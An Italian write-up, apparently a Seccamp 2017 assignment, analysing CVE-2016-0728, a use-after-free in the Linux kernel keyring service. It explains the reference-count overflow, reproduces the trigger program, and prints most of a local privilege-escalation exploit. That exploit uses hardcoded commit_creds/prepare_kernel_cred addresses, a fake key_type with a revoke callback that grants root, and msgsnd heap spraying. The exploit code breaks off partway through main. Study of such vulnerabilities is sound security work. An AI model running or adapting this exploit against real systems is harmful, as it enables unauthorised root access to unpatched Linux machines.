
Exploit del kernel Linux educativo per CVE-2016-0728 (use-after-free nel servizio di retention delle chiavi) con analisi dettagliata, codice PoC e discussione sulla mitigazione per l'escalation dei privilegi.
Compito Seccamp 2017
Il programma seguente sfrutta una vulnerabilità presente nel kernel Linux 3.8-4.4. Spiegate il malfunzionamento che si verifica eseguendo questo programma. Inoltre, scrivete un exploit che, sfruttando ulteriormente questa vulnerabilità, esegua l'escalation dei privilegi a root, e spiegate l'ambiente di esecuzione che avete testato e gli accorgimenti adottati. In aggiunta, elencate quante più misure di mitigazione possibili contro questo tipo di attacco e spiegatele. Non fa niente se non avete compreso tutto: descrivete con parole vostre le informazioni fin dove siete arrivati, il processo dei tentativi e le sensazioni provate. Se avete fatto riferimento a siti o documenti, indicate chiaramente queste fonti.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
L'ambiente di verifica è il seguente.
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
Ho conosciuto questa vulnerabilità solo da poco; descrivo ciò che ho scoperto indagando e le cose che ho provato durante il processo. Prima spiegherò il servizio di memorizzazione delle chiavi usato in questo programma, poi la vulnerabilità Use-After-Free che il programma sfrutta e quale causa nel programma la provoca, e infine quale malfunzionamento ne deriva. Questa vulnerabilità è registrata come CVE-2016-0728; per la sua panoramica ho fatto riferimento al sito seguente.
Inoltre, poiché anche il servizio di memorizzazione delle chiavi di Linux era una novità per me, ho fatto riferimento alla pagina web "Introduzione al servizio di memorizzazione delle chiavi di Linux" di IBM
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
e al codice sorgente del kernel Linux 3.19, che è l'ambiente di verifica,
Per inviare i messaggi del kernel al sistema host tramite rete ho fatto riferimento a DEBUG HACKS - Tecniche e strumenti per eccellere nel debugging (O'REILLY).
Questo programma (d'ora in poi lo chiamerò leak.c) sfrutta un bug presente nel servizio di memorizzazione delle chiavi di Linux; questo bug porta alla vulnerabilità Use-After-Free. Una vulnerabilità Use-After-Free è quella in cui, a causa di un'incoerenza del programma, viene fatto riferimento a un indirizzo di memoria heap già liberato, rendendo possibile l'esecuzione di codice arbitrario. Prima descriverò la chiamata di sistema keyctl() usata da questo programma e quale bug esiste in essa.
Ogni processo può creare un keyring per la sessione corrente con la chiamata di sistema keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Questo keyring può essere condiviso tra processi facendo riferimento al nome name. Se un processo possiede già un session keyring, questa chiamata di sistema sostituisce il session keyring con un nuovo keyring. Volendo capire meglio questo comportamento, ho consultato la funzione join_session_keyring nel codice sorgente del kernel in /security/keys/process_keys.c. Il suo comportamento è il seguente. Quando si sostituisce il session keyring con un nuovo session keyring, la funzione key_put viene saltata. La funzione key_put è una funzione che distrugge il riferimento al keyring passato come argomento. Saltandola, rimane un riferimento al nuovo keyring, e questo porta alla vulnerabilità Use-After-Free.
Quando questo keyring è condiviso tra processi, il contatore di riferimenti interno memorizzato nel membro usage della struct key aumenta. Il membro usage è di tipo atomic_t, che in realtà è definito come typedef di una struct contenente una singola variabile int. Inoltre, non essendoci un meccanismo per prevenire l'overflow di questo membro, incrementandolo si può arrivare a fare riferimento al keyring fino a quando l'overflow non lo porta a 0. Quando il membro usage diventa 0, il keyring viene liberato dalla garbage collection interna al sottosistema dei keyring. Collocando in quest'area liberata, dallo spazio utente, un oggetto del kernel che esegue un'altra operazione arbitraria, è possibile eseguire tale operazione con i privilegi del kernel.
Nel sito di riferimento, compilando leak.c con la libreria keyutils ed eseguendolo, in /proc/keys viene registrato un session keyring chiamato leaked_key e viene mostrato che è stato referenziato 100 volte. Nel sito verificavano che leaked-keyring venisse visualizzato come segue prima e dopo l'esecuzione di questo programma.
# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
Tuttavia, nell'ambiente di verifica leaked-keyring non veniva visualizzato. Come prova, ho provato a impostare la condizione del ciclo for a un valore grande, ad esempio i < 0x1000000: durante l'esecuzione del programma leaked-keyring veniva visualizzato. In questo caso, l'attacco riesce facendo overflow del membro usage, liberando la key e collocando un nuovo oggetto del kernel in quello spazio. Così ho deciso di provarci davvero. Per il codice exploit ho fatto riferimento al sito seguente.
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */